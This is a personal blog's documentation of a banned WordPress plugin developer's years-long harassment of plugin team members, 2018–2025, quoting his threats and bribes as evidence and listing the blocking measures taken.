Developers are banned from hosting code on WordPress.org four to ten times a year, due to clear and documented infractions of the guidelines –[ https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/)
Developers are notified of the WordPress Plugin Guidelines before they are permitted to host code, again after, and at least one time each year, when they receive an email reminder and a notice about new versions of WordPress. In addition, developers are cautioned whenever possible about their infractions and are directed to comply with the guidelines, or their hosting privileges will be revoked. In extremely rare occasions, a developer is banned without notice, although this requires egregious behaviour against the WordPress community.
Mr. Tiwari was warned multiple times and all warnings were discussed within the plugin team and documented. He did not correct his behaviour nor his company’s conduct. The company and all it’s employees were subsequently banned in November 2018. Since that date, Mr. Tiwari has emailed the plugins address multiple times per day, sometimes from multiple separate email addresses. At this early stage he attempted to bribe Mrs. Mika A. Epstein to restore their plugins, and cyber-stalked her to her personal email (which was never provided to them) in order to ‘beg’ that the plugins and account be restored.
When this was not successful, Mr. Tiwari threatened the whole plugin team with “the wrath of Krishna” \[e.g. his God\]. While no one views this as a credible threat (and yes, people have made those against the volunteer members of the plugins team), Mr. Tiwari’s threat suggested that his grievance was no longer grounded in rational behaviour. This conduct then escalated to legal threats and for the better part of 2 years there have only been a handful of days without either an attempt to contact, a threat, or both.
On January 17th, 2019, the plugins team took the decision to cease contact with Mr. Tiwari, nor would the plugins team reply to any further messages or threats. At this point, legal teams from both Automattic (who owns WordPress.com and represents Matt Mullenweg, their CEO, and Samuel “Otto” Wood) and DreamHost (whom Mrs. Epstein worked for at the beginning of this epic saga) had been included in Mr. Tiwari’s harassment. In addition to those electronic communications, his contact attempts reportedly included an attempt to contact Mr. Mullenweg on the phone, as well as sending physical items in the mail to Mrs. Epstein’s employers at DreamHost.
As a result of these escalating actions, including threats to ‘destroy’ Mrs. Epstein, purported attempts to purchase airplane tickets to the US, and more threats which remain a law enforcement matter, the decision was taken by Ms Epstein, Automattic, and DreamHost to notify law enforcement about Mr Tiwari’s campaign of harassment. As Mr. Tiwari lives in India and has not taken direct, physical, harmful actions to Mrs. Epstein’s well being, there is very little US law enforcement will do. Conversely, contacts at the U.S Department of State took note of the situation and made their own documentation.
### Involved Parties
- Mrs. Mika Epstein (aka Ipstenu) – representative of WordPress.org plugins team
- Mr. Samuel Wood (aka Otto) – member of the plugin review team
- Mr. Matt Mullenweg (aka photomatt) – CEO of Automattic/WordPress.com and co-creator of WordPress
- Mr. Ravi Tiwari (aka rstbiet, way2enjoy, etc) – owner and main contact for the company Way2Enjoy and their plugins
### List of Infractions
Mr. Tiwari’s documented infractions of the WordPress.org plugin guidelines is the Way2Enjoy account, which resulted in their banning, included:
- Using the forums to support premium products
- Harassing users via email following a review they disagreed with
- Following users back to Facebook to harass them regarding reviews, and leaving defamatory claims against them
- Tracking users via illegal email collection
- Bribing users with free credits on his service for reviews.
- Mass emailing people they had no previous relationship with, asking for translation assistance (i.e. classic spam email)
- Sockpuppeting reviews (they were cautioned about this three times)
- SEO spamming in their readmes via tags and keyword stuffing
- SEO spamming with plugin names like “image optimizer – WordPress compress image optimizer, jpg optimizer png optimizer resize image optimize image compressor by Way2enjoy”
- Repeated harassment and abuse to forum moderators and people who left them poor reviews
- Spamming reviews for similar plugins with “Try ours!”
- [Asking users to contact them off of WordPress.org](https://wordpress.org/support/topic/unable-to-compress-images-in-custom-directory/#post-10449945)
- Spamming/Harassing users via @-messaging (this resulted in their accounts being flagged for moderation, which prevents the use of the @-message system)
- Demanding WordPress delete their plugin if they were not permitted to use @-messaging
### Steps Taken for Protection
- Emails and certain free email services banned from all domains owned by Mrs. Epstein
- Contact forms protected by blacklist (made dynamic and open sourced to manage the 60+ emails)
- Harassment reported to Gmail, PayPal, Gorilla Servers (their webhost), mailsac, mail.com, protonmail, etc.
- Bribery attempt reported to Paypal
- Blocked on all social media sites
- Blacklisting code built into WordPress’s systems for email communication with any official Wordpress.org team account
- Technical and physical measures taken to ensure protection of DreamHost offices and systems
- Scripted regex filters for helpdesk system to be used for plugin reviews (and other teams) at WordPress.org
- Scripted checks in the plugin review and certification tool
- Server level blocks based on behavioural patterns, data from all other attempted contact points, and referrer traffic monitoring
## History of Events
### Prior to November 2018
Mr. Tiwari, using one user account (Way2Enjoy) on Wordpress.org and multiple IPs (which implied multiple users of said developer account — a fact they later confirmed), conducted himself in an erratic deceptive, and manipulative manner from the time his first plugin was approved (July 2017).
He seemed simply unwilling to accept the possibility that his plugins weren’t worth 5 stars reviews all the time and mistreated users and the forum moderators because of that. The official Way2Enjoy company account, which was the only account known, was issued a final warning in June 2018, by the WordPress.org Plugin Review team (aka the Plugins Team, or Plugins).
A **FINAL WARNING** is sent in the form of an email to the offending developer, wherein they are informed that any future guideline violations (forum or plugin) will result in a *permanent* ban, without any further warning or notifications.
Mr. Tiwari begged for another chance and, as the plugin guidelines had been updated since that time, was given one with a note that they were expected to behave accordingly. This is standard procedure. Any time the guidelines are significantly altered, we allow a grace period for infractions unless the violation is identical to one prior.
They received a **second** final warning in the beginning of November (5 months later). At that time, the Way2Enjoy account was flagged for moderation, which meant that a moderator had to manually approve all their posts. This was done because they used the @-reply feature to attack and harass anyone who failed to provide them them with a good review.
It is *by design* that accounts on moderation are not able to use @-messaging. This is so their behavior can be curtailed and reviewed. It also prevents abuse and offensive forum posts. While some posts that are objectionable will be approved, this is done so on a case-by-case basis in order to provide a public record of someone’s actions.
Mr. Tiwari decided that his way of handling that limitation was to email the plugin review team, pleading for the moderation hold to be removed. Plugins denied this request and informed him that the forum moderators would remove the hold when Mr. Twari and his company demonstrated, via their own actions, they were able to act maturely and comply with the guidelines. They were also told that if they persisted in asking Plugins to overrule the forums team and remove the moderation hold, then Plugins would ban them.
The final warning stood in place: either they would agree to and comply with the guidelines, or they would be banned.
Mr. Tiwari, or someone acting in his stead, replied to this and swore they would never violate the guidelines again.
Due to the unusually malicious nature of their actions (e.g. user stalking and accusations of accounts being ‘fake’), an internal note was placed in the Way2Enjoy account asking forums moderators to report anything untoward to the plugin team and to not engage any further with the individual. This is standard practice in place to protect the moderators from targeted abuse.
### 2018
The week of US Thanksgiving, it was reported that the Way2Enjoy account had once again been hostile to users in the forums. On a review of the post, it was noted that the behaviour had in fact been abusive, and that rather than offering the requested help to the user, the account had instead ranted at them about how they were being pre-moderated (i.e. all posts needing to be approved before being seen) due to abuse of the @-mention system. It was subsequently edited to appear as this comment, removing initial offensive content, which is why it had been reported:
It was determined at that time, based on the previous interactions, that Way2Enjoy as a company and Mr. Tiwari as an individual had absolutely no intention of complying with guidelines, nor did they understand why they’d been censured in the first place. Repeated behavioral issues are a drain on volunteer resources, and following the final warnings issued in June 2018 and November 2018, his plugins were closed and all related accounts suspended by the Plugins Team. Mr. Tiwari was emailed of this fact.
This set off the campaign of stalking and harassment towards Mrs. Epstein and, arguably, Mr. Mullenweg as well, though he has not spoken publicly regarding the matter.
Mr. Tiwari’s initial excuse was to claim that he had no idea any of his behavior was a violation, even though he had replied to the emails telling him expressly what behaviors needed to change. Furthermore he claimed that being banned meant his fiancé’s father had canceled their upcoming wedding and she was no longer talking to him. As his marriage and social status had allegedly been destroyed, *by the plugins team (!)*, he needed his plugins back.
The following actions ensued quickly:
**Summary of Events:**
- **Individual Bribery** – sending $5 and then $10 via PayPal to have the plugins restored.
- **Email** – finding Mrs. Epstein’s personal emails (gmail, `@ipstenu.org` and so on, which were never provided to him) and sending multiple messages to garner sympathy.
- **Confession** – admitting to allowing multiple users to access the developer account without monitoring
- **Religion** – using religious doctrine to ‘curse’ all involved (“*I request Lord balaji to take away your all name, fame, respect, wealth everything.*“).
- **Fake emails** – using multiple separate emails to attempt to evade bans and blocks, as well as to pretend to be different people wanting to know the status on the plugin.
- **Legal Claims** – claiming to file for legal compensation in India.
- **Forums** – threatening to make a new post in the forum every day until restored.
- **Company** **Bribery** – offering $100 as ‘proof’ to the WordPress Foundation that the guidelines were now understood. This increased to a $500 ‘gaunrtee’.
- **Legal Filing** – threatening to file for $10million (presumed USD) in Los Angeles, and asking for personal details like an address to do so.
- **Harassment via personal websites** – using contact forms on all personal sites managed by Mrs. Epstein to avoid previous censures.
Suffice to say, none of that requested information was provided. At this time, his email host (then mailsac) was contacted to attempt and find a resolution, pointing to the abusive nature of the emails and how they were a violation of the terms. Mailsac took what they felt to be appropriate action, and no more emails from their services came.
Since Mr. Tiwari was also using his webhost to script ways around the various blocks, it was believed this could be a violation of his hosting terms. However, when [GorillaServers](https://www.gorillaservers.com) was contacted, they did not reply. Later Mr. Tiwari posted that his host had, in fact, **told him** about the situation and ‘laughed’ at Mrs. Epstein’s emails. While this is perfectly within their rights, their lack of a reply while in turn sharing the email calls into question their commitment to trust and safety..
[Full documentation from 2018.](https://halfelf.org/harassment-rst/rst-2018/)
**Total Emails: 76**
**Email Addresses Used: 5**
### 2019
While Mr. Tiwari claimed he would no longer email in December 2019, the emails resumed before the end of the month. As of January, his story changed to how he was now working backbreaking manual labor, in order to provide for his hitherto unmentioned 8 siblings.
Of note, Mrs. Epstein’s father passed away, unexpectedly, in February 2019.
**Summary of Events in 2019:**
- **Monetary Demands** – needing $10,000 USD to ‘provide’ for him.
- **Political Threats –** emailing multiple US senators and congressmen claiming to be a ‘law-abiding citizen’, raising the case of his plugins, and threatening legal action via them.
- **Social Media –** assuming all posts Mrs. Epstein made on social media were about him (including her new glasses).
- **Illness –** claiming his mother was ill from the stress of this, and asking for money to see her since she lived 400km away.
- **Harassment via Work Systems** – opening many tickets with DreamHost (Mrs. Epstein’s then-employer) about how she should be fired, but also he wanted to mail a card/flowers.
- **Harassment via Personal Sites** – abusing contact forms to beg for help from people who worked on those sites with Mrs. Epstein.
- **Death Threats** – telling Mrs. Epstein “u destroyed my life and i ll destroy urs.” as well as to “damage \[her\] maximum.”
- **Circumventing Ban** – making a new account and submitting a new version of the Way2Enjoy image plugin, as well as another account and a new and different plugin (Pushdaddy).
- **Bribery** – offering to donate $10,000 to charity only two months after begging for the same amount from Mrs. Epstein, as well as offering a Tesla to both Mrs. Epstein and Mr. Wood.
- **Offers to Hire** – asking Mrs. Epstein to come to Chicago for $1000 or $5000 to offer ‘advice’ for his new project.
- **Legal Threats (International)** – claiming WordPress violates EU monopoly laws and that he will get WordPress banned.
- **SEO Spam** – offering to send 100,000 people to Mrs. Epstein’s personal site
- **Harassment re Death –** making multiple claims that the death of Mrs. Epstein’s father was due to her actions
- **Change.org** – making a petition to have Mrs. Epstein removed from WordPress.org (this was shut down by ChangeOrg who sent an apology to Mrs. Epstein and banned Mr. Tiwari).
- **Physical Gifts** – sent books (and later a card) to Mrs. Epstein’s employer via Amazon, who declined to provide any assistance on the matter.
- **Harassment at Work** – opening 15+ tickets at DreamHost, most demanding Mrs. Epstein be fired, she is the cause of death, and god will revenge
Parts of his story changed rapidly in January, from manual labor to ‘working in a mall’ (which he claimed was beneath him). His sister now entered his stories as as well, with him claiming that he was responsible for her upcoming marriage, but no other siblings merited a mention. By mid-January (around a month and a half from the beginning of this particular story), the Plugins team collectively decided to block his email and stop replying as it was clear this was not working.
There were also multiple mentions of Mrs. Epstein’s ‘uncle’ dying (he meant her father) and how this was her fault for banning him:
> *u people disresepcted Tirupati Ballji, i was knowing something very bad will happen as i have experiene of 15 times.*
Similar emails followed including one that expressly said this in his ‘condolences’:
> I *wish, u would have respected Tirupati Balaji. I went there 15 times and he will fulfill anything u wish but if u wont go once it is fulfilled he will damage like anything. its my personal experience.*
That was when Mrs. Epstein began to look into better ways to block Mr. Tiwari. Emotional abuse of someone’s dead parents is inhumane.
In April 2019, a cease & desist notice was sent to Mr. Tiwari by Mrs. Epstein’s legal representatives, including her then-employer and Automattic. Suffice to say, he objected to its legitimacy, ignored it, and retorted with the following claims about Mrs. Epstein:
- That she told him it was okay to spam-email people (she did not)
- That she did not warn him about his previous infractions (he replied to those emails)
- That there was no plugin guideline prohibiting abuse ([Guideline #9](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/#9-developers-and-their-plugins-must-not-do-anything-illegal-dishonest-or-morally-offensive))
- That she banned him for reporting a bug (he was banned prior to his complaint that moderated users cannot use @-replies)
- That she is equivalent to Hitler or those who bombed Japan (Godwins Law)
- That she is a full time employee of WordPress.com/Automattic (never)
On May 23rd, he claimed that would be his final email, as legal experts had ‘confirmed’ he had a valid case, and all future contact would be from his legal representative. This was demonstrably untrue. By December, he claimed his sister’s husband died (presumably he did, in fact, pay for her wedding):
> this is my last email to you.
>
> you are responsible for my sister husband death.
>
> lifetime i will take my revenge back
He replied a week later ‘apologizing’ and yet saying “I was in deep anger as you killed someone in your anger.”
Overall, the amount of mail and contact was astronomical.
**[Full documentation from 2019](https://halfelf.org/harassment-rst/rst-2019/)**
**Total Emails: 638**
**Email Addresses Used: 119**
### 2020
Regular emails continued. At this point, the Plugin Team stoped making note of the details of every email (40 separate chains were created), however subjects were recored. Around May, when COVID was running rampant through the world, emails slowed down, giving false hope that the situation was over.
More vexatious tickets were opened at DreamHost as well as continuing emails, and the following false claims were made about Mrs. Epstein:
- That she got him kicked off Google Ads (she did not contact Google Ads)
- That she blocked his site from WordPress (she has no ability to do so)
- That she was blocking all Corona related plugins ([demonstrably untrue](https://wordpress.org/plugins/tags/covid-19/))
Other than that, most of the emails were about COVID, the US election, and death and do not bear repeating nor provide any additional context.
**[Full documentation from 2020](https://halfelf.org/harassment-rst/rst-2020/)**
**Total Emails: 38**
**Email Addresses Used: 3**
### 2021
Mr. Tiwari continued to send emails in 2021, but at a relatively lesser rate. In addition, there was a [single attempt to submit a new plugin](https://wordpress.org/support/users/aiimage/). This was caught and rejected without comment.
On February 24th, Mrs. Epstein posted a sanitized summary of the events, leaving out any and all personal or identifying information, on her tech site, as a means of informing the community about the situation (which had previously been confidential) as well as starting a dialogue within the project about trust and safety in volunteer open source communities:
While Mr. Tiwari made no direct response to this, on March 25th he emailed saying the following:
> I wont be sending you frequent emails as it might irritate you further but i am waiting for your mercy.
>
> i think sending one reminder in 30 days is ok.
Per usual, there was no response given to his email.
In April he claimed his mother had passed away.
The final email received for 2021 was on September 4th, with the subject “It’s 1025 days” and the content:
> Mam,
>
> Its more than 1000 days still angry???
It was not replied to.
No other contact of note was made in 2021.
**Total Emails: 9**
**Email Addresses Used: 2**
### 2022
Mr. Tiwari emailed twice in 2022 (Feb and May) before the block on his email was changed from ‘save and file’ to ‘auto delete’ on 6-May 2022. This extends to all WordPress.org emails managed by that system, which does prevent him from emailing any other teams. As it was clear he will not stop, this was determined to be the best course of action.
This document, which is a sanitized and privacy aware version of events (omitting IP addresses, email addresses, and other potentially sensitive information) was created.
As of autumn 2022 his method of harassment moved to social media, such as Twitter, where his list of complaints include:
- Disparaging and attempting to defame Mrs. Epstein to anyone who would listen (calling her ‘psycho’ and ‘devil’
- Homophobic rants about how WordPress is ‘only for lesbian and gay’
- Claiming Mr. Mullenweg is homosexual
- Claiming Tumblr is only for porn as they now permit nudity
- Accusing Tumblr of child porn
- WordPress is ‘dying’ and we should all use YouTube
By November he added these complaints:
- He was being sued by Automattic (who owns WordPress.com)
On October 29th, following threats made to other twitter accounts in relation to Mrs. Epstein, his account was locked for [conducting hatefully](https://help.twitter.com/en/rules-and-policies/hateful-conduct-policy). Mr. Tiwari was required to remove his posts in order to return, and henceforth be marked by Twitter. If he were to resume the behavior, he risks being suspended by Twitter. His account was restored not long after Twitter fell under new ownership and since then, all reports have been dismissed, however that speaks more to Twitter’s current ownership.
What this indicated is that after four years, his fixation on Mrs. Epstein is as unhinged and as vindictive as it was at the start.
**[Full documentation from 2022](https://halfelf.org/harassment-rst/rst-2022/)**
**Total Emails: 3 (by May 6th)**
**Email Addresses Used: 1**
### 2023
Since Mr. Tiwari’s email was blocked in 2022, and Mrs. Epstein departed Twitter in late 2022 (over disputes with the new ownership), it was relatively quiet, save some ranting about WordCamp Asia. He also repeatedly would praise Mr. Mullenweg before turning on him with hate and complaints.
He apparently was ignorant of the fact that Mrs. Epstein also retired from the Plugin Team due, in part, to stress caused by his behavior.
**[Full documentation from 2023](https://halfelf.org/harassment-rst/rst-2022/)**
### 2024
Mr. Tiwari continued his inconsistent behavior of praising and then attacking until mid February, when he set his account private. That only lasted a month, before Mr. Tiwari resumed his antagonistic actions by accusing Mr. Mullenweg of child pornography. As the drama within the WordPress community escalated after WordCamp US, Mr. Tiwari turned his attacks toward Mr, Mullenweg primarily, though occasionally potshots were aimed at Mrs. Epstein.
**[Full documentation from 2024](https://halfelf.org/harassment-rst/rst-2024/)**
### 2025
Most of Mr. Tiwari’s actions remained focused on Automattic and Matt Mullenweg. When Mrs. Epstein was announced as a TSC chair for FAIR, he returned to blaming her for his continued ban and accusing her of being on Mullenweg’s “b team.”
**[Full documentation from 2025](https://halfelf.org/harassment-rst/rst-2025/)**
## Conclusion
It is our belief that Mr. Tiwari, owner of Way2Enjoy.com, is professionally uncredible, personally unstable, and unable to engage in good faith with any organisation, group, or individual. It is not for us to speculate why, or to take any responsibility for “fixing” him. We can only deal with the damage he has caused, and continues to inflict every day.
Mr. Tiwari does not understand how to take responsibility for his actions, alter his destructive behavior, or communicate professionally without taking things personally, and feels entitled to success. This demonstrated pattern of behavior was detrimental to the WordPress community, even *before* the personal harassment events detailed in this document began.
Nor, after multiple threats, reneging on promises, and widening his harassment as far as elected officials outside the project, is there any way back for him, period. His behavior – only a fraction of which has been made public here – has in fact been so deranged that the WordPress.org plugins team has had to contact its counterpart teams in other projects and software communities to warn them about his conduct, as he has threatened to take his work to them.
It is the responsibility of open source communities to protect their contributors, its volunteers, and its users from abuse, wherever that abuse comes from. It is a credit to the volunteers of the WordPress.org ecosystem that they continue to safeguard the project community from his physical, legal, verbal, and emotional threats. They have been quietly and diligently doing so for over four years, and have done so in a professional and dignified manner, never once publicising the offensive behaviour to the wider community, or naming the individual, even as he has not hesitated to name them.
But enough is enough.
**Mrs. Epstein, her family, her friends, her colleagues, her project teams, and her community did nothing to deserve the hell that Ravi Shankar Tiwari has put them all through, verbally, emotionally, mentally, and physically, since 2018.**
Today is the beginning of the end, once and for all.
---
### [Harassment by Way2Enjoy - 2025](https://halfelf.org/harassment-rst/rst-2025/)
**Published:** January 12, 2025
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## January
Starting in January, Mr. Tiwari primarily targeted Mr. Mullenweg, taking advantage of the increased hostility between Mr. Mullenweg and WPEngine (a web hosting company). As other leaders in the WordPress community spoke up, and were subsequently banned from WordPress.org, Mr. Tiwari took to calling Mr. Mullenweg bipolar, and Mr. Wood [‘\[Matt’s\] pet dog’](https://halfelf.org/wp-content/uploads/sites/2/2025/01/IMG_0887.jpeg).
In a post Mr. Tiwari made on Reddit, he started a poll asking if Mr. Mullenweg was a revengeful kid:
After 7 people voted ‘no’, he posited that those votes were from Mr. Mullenweg, Mr. Wood, and Mrs. Epstein:
Mrs. Epstein did not vote in his poll.
## February
February continued with his ongoing complaints, replying to anyone who mentioned Mr. Mullenweg and the ongoing court case with WP Engine.
## March
Mr. Tiwari continued his complaints on Reddit.
## April
On Easter Sunday, 20 April 2025, Mr. Mullenweg issued what appeared to be a blanket amnesty to all banned accounts on Twitter:
ScreenshotShortly thereafter, Mr. Mullenweg posted about a ‘[Jubilee](https://wordpress.org/news/2025/04/jubilee/)‘ on WordPress.org saying:
> As I said, we’re dropping all the human blocks. Community guidelines, directory guidelines, and such will need to be followed going forward, but whatever blocks were in place before are now cleared. It may take a few days, but any pre-existing blocks are considered bugs to be fixed.
There was no explanation nor elaboration available for the specifics on what merited being unblocked.
Five days later, Mr. Tiwari asked if he would be unblocked, and claimed that Mrs. Epstein was not only still ‘harassing’ him, but also not suffering.
Perhaps it is the existence of this document that is considered to be harassment. Certainly Mr. Tiwari is aware of either this site, or follows Mrs. Epstein on social media, as he has begun to cite her public complaint about the ‘Jubilee’ (in short, a blanket amnesty is dangerous as some banned people are dangerous).
Posted on April 25th on Reddit:
Mrs. Epstein (and Mr. Wood) both received what was determined to be a credible death threat in 2017, resulting in an armed security guard being present at her talk. She is not the only person who has faced such things. There have been criminals and harmful individuals banned from WordPress events. Allowing “all” banned users back without any limits is asking for disaster.
## May
On May 1st, WordPress.org posted a clarification of the ‘Jubilee’:
> [Review of Blocked Community Members](https://make.wordpress.org/project/2025/05/01/review-of-blocked-community-members/)
In short, it limited the unbanning to those banned since August 2024 (the month before WordCamp US 2024), and only those who were in compliance with the Code of Conduct and other WordPress.org guidelines.
Even so, Mr. Tiwari could not understand why he remained banned:
Respectful words like:
> You have disrespect the Lord Balaji and Lord Shiva, You will get hardest punishment in coming days.
>
> [January 2019](https://halfelf.org/harassment-rst/rst-2019/#charity-work)
and
> u destroyed my life and i ll destroy urs.
>
> [February 2019](https://halfelf.org/harassment-rst/rst-2019/#twitter)
and by his own admission:
> My apologies that I used some filthy languages to mika in past bit after 6 months and two times rejection of new fresh plugin I lost my patience.
>
> [March/July 2019](https://halfelf.org/harassment-rst/rst-2019/#legal-notice)
Regardless of the demonstrably disproven claim of always being respectful, his banning predates August 2024 by years.
When the [restoration of accounts was completed](https://make.wordpress.org/project/2025/05/21/restoring-trust-while-preserving-safety/) on 21 May, Mr. Tiwari remained banned from WordPress.org.

---
### [Harassment by Way2Enjoy - 2024](https://halfelf.org/harassment-rst/rst-2024/)
**Published:** January 9, 2024
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
After spending most of 2023 complaining about other things, Tiwari decided to again bring up his grievances with WordPress.
## Table of Contents
- [January](#january)
- [February-March](#februarymarch)
- [April](#april)
- [May](#may)
- [June](#june)
- [September](#september)
- [October](#october)
- [December](#december)
## January
Tiwari continued to keep his attacks to Mullenweg directly (likely because Epstein has not been active on Twitter since 2022 and as such is not a target for his outrage).
When Mullenweg posted about his book reading, Tiwari accused him of not reading books at all and of ignoring the ones Tiwari sent him:
He also accused WordPress and Mullenweg of not being ‘open source’ because they ban people from their platform:
## February-March
Sometime in early February, Tiwari set his account private on Twitter. At this point, it means he is screaming into the void, since only people who follow him would be able to see those posts. As of 12 February only 8 people followed him, and none are members of the community whom he enjoys maligning.
By early March, Tiwari set his account public again on Twitter. Most of his WordPress related tweets were about how he’s been banned/harassed for five years. However, he also replied to unrelated posts. For example, when Automattic was dealing with the fallout of their pending AI sale, he replied to them to complain about being harassed.
While he certainly has been banned, he has not been ‘harassed’ as no one has made any attempt to cause him further harm.
## April
In early April, Mullenweg posted about the upcoming Solar Eclipse. Tiwari took the opportunity to accuse Mullenweg of child pornography (likely referring to Mullenweg’s ownership of Tumblr), and claiming that Epstein was somehow the underlying cause there of. To the best of her knowledge, Epstein has never reported nor filed a complaint to Tumblr about pornography, child or otherwise.
![@photomatt - If you're watching the eclipse, [website] has the very coolest solar sunglasses.
@rstbiet - Sir request u to plz reinstate our plugin immediately. It's more than 2000 days. Because of mika now u r being investigated for child pornography and may be arrested soon](https://halfelf.org/wp-content/uploads/sites/2/2024/04/IMG_0532-985x1024.jpg)He went on to compare Mullenweg to Sam Bankman-Fried. But none of that prevented him from both congratulating Mullenweg on the acquisition of Beeper, and simultaneously requesting he be un-banned from Automattic (who does not actually have the authority to do so):
ScreenshotTiwari also began a pattern of posting and then deleting tweets. Shortly after any “offending” posts are added to this document, they vanish from his timeline. Be that as it may, Tweets are never really fully deleted, and so evidence remains of his threats.
Besides the fact that Africa is not a nation but a continent, this threat is baseless as there is no evidence Mullenweg is involved in any form of illegal pornographic activity. He would not be held liable personally even if Tumblr was found to be hosting porn, as Tumblr is not owned by an individual but a company. At best, Automattic would be liable, however they have a grace period to act on illegal content once it’s discovered.
Next Tiwari said he would escalate to “all countries” if his plugin was not reinstated.
There is no global law that would support this. If there were, Epstein would have used it to sue Tiwari for his continued action.
By mid month, Twiari claimed to have had a plugin published on WordPress.org, and the appropriate persons began an investigation. He later deleted the tweet.
## May
In the end of May, Tiwari complained that the Competition Commission of India, New Delhi, had ruled WordPress did **not** have a monopoly.
Per his claim, he was told to use other software:
> Their decision for case no 01/2023 says it’s not monopoly and advises us to develop for joomla drupal cms which hardly has 1 lakh site compared to wordpress 3 crore plus sites. here is screenshot of wordpress founder own admission where he says they have 43% of whole Internet
While WordPress has a 63% market share, that is only of *known* CMS’s. That does not translate to “most websites use WordPress” and makes one reflect on the definitions of “monopoly”:
1. Exclusive control by one group of the means of producing or selling a commodity or service.
2. A company, group, or individual having exclusive control over a commercial activity.
3. A commodity or service so controlled.
The closest you might get is the first item, but the WordPress Foundation has no control over who uses WordPress which would make it a stretch to argue monopoly.
In reviewing the [case](https://www.cci.gov.in/antitrust/orders/details/1112/0) (which is public and found on the CCI website and [saved here for posterity](https://halfelf.org/wp-content/uploads/sites/2/2024/05/order1714385914.pdf)), Tiwari actually sued *Automattic*, making a number of erroneous claims such as:
- Automattic is the “parent company” of WordPress.org (Automattic does not own WordPress.org)
- He was banned without explanation (he was warned many times, and informed directly of his banishment and why it happened)
- His closed plugin reviews were removed to promote ‘their’ product, Jetpack (since Epstein has never worked for Automattic, this cannot be true)
The CCI properly saw through his claims, and item 19 points out:
> 19\. In relation to the Informant’s allegations, the OP has submitted detailed chronology of events leading to banning of Plugins of the Informant. Based on the information provided by the OP, which has not been contested by the Informant, it is noted that the Informant has repeatedly violated multiple guidelines of the wordpress.org despite being warned multiple times. Thus, the plugins of the Informant seems to be banned from the WordPress Plugin Directory due to his persistent misconduct contrary to the guidelines. These guidelines also do not appear to be unfair or unreasonable and are meant for maintaining quality of service and protecting interest of both developers and users.
>
> Accordingly, the Commission is of the view that WordPress.org is justified in taking appropriate action against any developer found non-compliant with the prescribed standards and regulations. It is also noted that guidelines have not been applied in a discriminatory manner and around 35 developers including the Informant have been permanently banned from WordPress.org for repeated violation of the Guidelines. Therefore, the conduct of the Opposite Party does not appear to be either unfair or discriminatory.
>
> COMPETITION COMMISSION OF INDIA
> Case No. 01 of 2023
Since then, Tiwari took to Twitter to complain about this injustice, it is clear he intended to contest this ruling. Most of his complaints are along the lines of how it’s criminal that the CCI did not find Automattic to have a monopoly.
To that end, he remains flatly wrong. In fact, the CCI noted that while Automattic Inc. **was** dominant, Tiwari’s *repeated* violations of wordpress.org’s community guidelines by the justified the removal of plugins and the ban. In other words, monopoly or not, Tiwari was facing the consequences of his own actions.
Just because someone has a monopoly doesn’t meant you get a free pass to break their rules and still use their service.
## June
Tiwari spent the rest of May, and went into June, constantly misunderstanding his own ruling, and arguing that the matter was that the CCI said WordPress wasn’t a monopoly. His lack of reading comprehension became more evident when he arbitrarily misquoted the India Supreme Court:
Screenshot of Tweet – 03 JuneThat case happens to be about [someone who smashed voting machines](https://www.ndtv.com/india-news/supreme-court-andhra-pradesh-mla-p-ramakrishan-reddy-smashed-evm-bail-this-is-a-joke-top-court-furious-over-bail-for-andhra-mla-who-smashed-evm-5806728) (among other things) and it’s a hell of a lot more complicated that ‘You broke the guidelines over and over and still won’t stop.’
Still. He persisted and claimed he would have his case with the Supreme Court ‘soon,’ however the [Supreme Court of India](https://www.sci.gov.in/) has no upcoming cases by Mr. Tiwari.
At the end of the month, Mr. Tiwari submitted a new plugin, Jio Image Optimizer, which was identified, rejected, and his user account banned.
## September
For most of the summer, Tiwari continued demonstrating his blatant misunderstanding of his own legal case. He posted multiple times about the CCI’s corruption, arguing that his case’s merit lies in WordPress’s state of being a (likely) monopoly, and not the reality of his own behavior having consequences.
At some point he accused Epstein of stalking his Twitter and privatized his Twitter account for a time. In reality, Epstein has not used, nor been on, Twitter since it was purchased by Elon Musk.
At the end of WordCamp US 2024, [Matt Mullenweg made a controversial statement about WP Engine in his Q&A which was poorly received](https://www.searchenginejournal.com/wordpress-co-founder-mullenweg-sparks-backlash/527743/). Mullenweg doubled down on his statements, [posting on WordPress.org instead of his own site](https://wordpress.org/news/2024/09/wp-engine/). When Mullenweg tweeted a link, Tiwari replied:
As previously mentioned, Epstein is not active on Twitter, and as one cannot read a tweet without being logged in, that is wildly incorrect.
He subsequently took to replying dozens of times on Reddit to the kerfluffle.
ScreenshotEpstein does, in fact, make regular use of Reddit.
As the situation between WP Engine and Mullenweg continued to worsen, Tiwari replied to dozens of posts by Mullenweg and others in the community, disagreeing with Mullenweg’s actions to block all WP Engine hosted sites from accessing Wordpress.org:
Tiwari’s language quickly escalated:
## October
The WPEngine/Mullenweg kerfuffle continued through October. Mr. Tiwari’s approach moved to accusing Mr. Mullenweg of being bipolar, and reaching out to all those who were working on alternatives to the plugin/theme repository on WordPress.org.
Interestingly, the kind of treatment from Mr. Tiwari varied.
In October, it appeared to be split evenly between male and female developers. Male developers were granted grace and time to respond, female were not. No known nonbinary or genderfluid developers have been involved in the fracas to date.
## December
